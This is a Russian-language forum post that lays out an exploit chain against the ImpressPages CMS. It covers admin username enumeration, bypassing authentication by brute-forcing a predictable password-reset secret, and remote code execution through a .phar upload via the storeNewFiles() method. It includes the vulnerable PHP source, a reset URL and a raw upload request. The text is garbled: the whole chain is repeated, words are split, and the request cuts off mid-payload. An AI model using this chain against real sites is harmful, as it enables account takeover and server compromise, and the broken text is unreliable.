Baskin-Robbins
18.06.2021, 11:47
Сайт - impresspages.org
Версия 4.6.0 (+ 5.0.3)
Admin login|email harvestering
Разные ошибки для неправильного логина и пароля, позволяет перебрать админский логин.
Bypass auth
Зависимости
-- Наличие админского логина
-- Локальное время сервера
Ip/Internal/Administrators/Model.php
PHP:
private static functiongeneratePasswordResetSecr et($userId)
{
$secret=md5(ipConfig()->get('sessionName') .uniqid());
$data= array(
'resetSecret'=>$secret,
'resetTime'=>time()
);
ipDb()->update('administrator',$data, array('id'=>$userId));
return$secret;
}
Линк на смену пароля генерируется из сессии + unix timestamp.
Генерируем список ссылок - брутим.
Code:
http://ip4.localhost.com/?sa=Admin.passwordReset&id=1&secret=b0d1993093080751147b5ab92d934d02
RCE
Зависимости:
-- Админские привилегии
-- Разрешение на выполнение phar
В админке все взаимодействие строится на подключенных модулях и вызова их методов.
Мы можем вызвать любой метод, определенный в AdminController.php, соответсвующих
модулей ядра и плагинов.
Загрузка файлов происходит без проверки содержимого, проверка расширения по белому листу.
И даже если бы могли грузить php, нам мешает .htaccess
Code:
deny from all
Что можно с этим сделать?
Метод storeNewFiles() - перемещение загруженных файлов в папку file/repository
из file/tmp - причем мы можем это сделать сменив расширение. В папку secure
грузить смысла нет, так как второй .htaccess блочит доступ. Нам сгодится phar.
Ip/Internal/Repository/AdminController.php
PHP:
public functionstoreNewFiles()
{
ipRequest()->mustBePost();
$post=ipRequest()->getPost();
$secure= !empty($post['secure']);
$path= isset($post['path']) ?$post['path'] :null;
$browserModel=BrowserModel::instance();
$browserModel->pathMustBeInRepository($path,$secure);
if (!isset($post['files']) || !is_array($post['files'])) {
return new \Ip\Response\Json(arr ay('status'=>'error','errorMessage'=>'Missing POST variable'));
}
$files= isset($post['files']) ?$post['files'] : [];
$newFiles= [];
$destination=$browserModel->getPath($secure,$path);
foreach ($filesas$file) {
$sourceDir='file/tmp/';
if ($secure) {
$sourceDir='file/secure/tmp/';
}
$source=ipFile($sourceDir.$file['fileName']);
$source=realpath($source);//to avoid any tricks with relative paths, et c.
if (strpos($source,realpath(ipFile($sourceDir))) !==0) {
ipLog()->alert('Core.triedToAccessNonPublicFile', array('f ile'=>$file['fileName']));
continue;
}
$newName= \Ip\Internal\File\Functions::genUnoccup iedName($file['renameTo'],$destination);
copy($source,$destination.$newName);
unlink($source);//this is a temporary file
$browserModel= \Ip\Internal\Repository\BrowserMod el::instance();
$newFile=$browserModel->getFile($newName,$secure,$path);
$newFiles[] =$newFile;
}
$answer= array(
'status'=>'success',
'files'=>$newFiles
);
return new \Ip\Response\Json($answer);
}
Запрос на загрузку файла
[CODE]
Code:
POST / HTTP/1.1
Host: ip4.localhost.com
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://ip4.localhost.com/dddddddddddddddd/
Content-Type: multipart/form-data; boundary=---------------------------66207624121407658211508896721
Content-Length: 750
DNT: 1
Connection: close
Cookie: ses311298187=rg1gc0d7bru1k2no5mkisue2km;
Sec-GPC: 1
-----------------------------66207624121407658211508896721
Content-Disposition: form-data; name="name"
1.jpg
-----------------------------66207624121407658211508896721
Content-Disposition: form-data; name="sa"
Repository.upload
-----------------------------66207624121407658211508896721
Content-Disposition: form-data; name="secureFolder"
0
-----------------------------66207624121407658211508896721
Content-Disposition: form-data; name="securityToken"
eb763756cb06598270d99b1ab71b0bc6
-----------------------------66207624121407658211508896721
Content-Disposition: form-data; name="file"; filename="4.php"
Content-Type: application/octet-stream
Версия 4.6.0 (+ 5.0.3)
Admin login|email harvestering
Разные ошибки для неправильного логина и пароля, позволяет перебрать админский логин.
Bypass auth
Зависимости
-- Наличие админского логина
-- Локальное время сервера
Ip/Internal/Administrators/Model.php
PHP:
private static functiongeneratePasswordResetSecr et($userId)
{
$secret=md5(ipConfig()->get('sessionName') .uniqid());
$data= array(
'resetSecret'=>$secret,
'resetTime'=>time()
);
ipDb()->update('administrator',$data, array('id'=>$userId));
return$secret;
}
Линк на смену пароля генерируется из сессии + unix timestamp.
Генерируем список ссылок - брутим.
Code:
http://ip4.localhost.com/?sa=Admin.passwordReset&id=1&secret=b0d1993093080751147b5ab92d934d02
RCE
Зависимости:
-- Админские привилегии
-- Разрешение на выполнение phar
В админке все взаимодействие строится на подключенных модулях и вызова их методов.
Мы можем вызвать любой метод, определенный в AdminController.php, соответсвующих
модулей ядра и плагинов.
Загрузка файлов происходит без проверки содержимого, проверка расширения по белому листу.
И даже если бы могли грузить php, нам мешает .htaccess
Code:
deny from all
Что можно с этим сделать?
Метод storeNewFiles() - перемещение загруженных файлов в папку file/repository
из file/tmp - причем мы можем это сделать сменив расширение. В папку secure
грузить смысла нет, так как второй .htaccess блочит доступ. Нам сгодится phar.
Ip/Internal/Repository/AdminController.php
PHP:
public functionstoreNewFiles()
{
ipRequest()->mustBePost();
$post=ipRequest()->getPost();
$secure= !empty($post['secure']);
$path= isset($post['path']) ?$post['path'] :null;
$browserModel=BrowserModel::instance();
$browserModel->pathMustBeInRepository($path,$secure);
if (!isset($post['files']) || !is_array($post['files'])) {
return new \Ip\Response\Json(arr ay('status'=>'error','errorMessage'=>'Missing POST variable'));
}
$files= isset($post['files']) ?$post['files'] : [];
$newFiles= [];
$destination=$browserModel->getPath($secure,$path);
foreach ($filesas$file) {
$sourceDir='file/tmp/';
if ($secure) {
$sourceDir='file/secure/tmp/';
}
$source=ipFile($sourceDir.$file['fileName']);
$source=realpath($source);//to avoid any tricks with relative paths, et c.
if (strpos($source,realpath(ipFile($sourceDir))) !==0) {
ipLog()->alert('Core.triedToAccessNonPublicFile', array('f ile'=>$file['fileName']));
continue;
}
$newName= \Ip\Internal\File\Functions::genUnoccup iedName($file['renameTo'],$destination);
copy($source,$destination.$newName);
unlink($source);//this is a temporary file
$browserModel= \Ip\Internal\Repository\BrowserMod el::instance();
$newFile=$browserModel->getFile($newName,$secure,$path);
$newFiles[] =$newFile;
}
$answer= array(
'status'=>'success',
'files'=>$newFiles
);
return new \Ip\Response\Json($answer);
}
Запрос на загрузку файла
[CODE]
Code:
POST / HTTP/1.1
Host: ip4.localhost.com
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://ip4.localhost.com/dddddddddddddddd/
Content-Type: multipart/form-data; boundary=---------------------------66207624121407658211508896721
Content-Length: 750
DNT: 1
Connection: close
Cookie: ses311298187=rg1gc0d7bru1k2no5mkisue2km;
Sec-GPC: 1
-----------------------------66207624121407658211508896721
Content-Disposition: form-data; name="name"
1.jpg
-----------------------------66207624121407658211508896721
Content-Disposition: form-data; name="sa"
Repository.upload
-----------------------------66207624121407658211508896721
Content-Disposition: form-data; name="secureFolder"
0
-----------------------------66207624121407658211508896721
Content-Disposition: form-data; name="securityToken"
eb763756cb06598270d99b1ab71b0bc6
-----------------------------66207624121407658211508896721
Content-Disposition: form-data; name="file"; filename="4.php"
Content-Type: application/octet-stream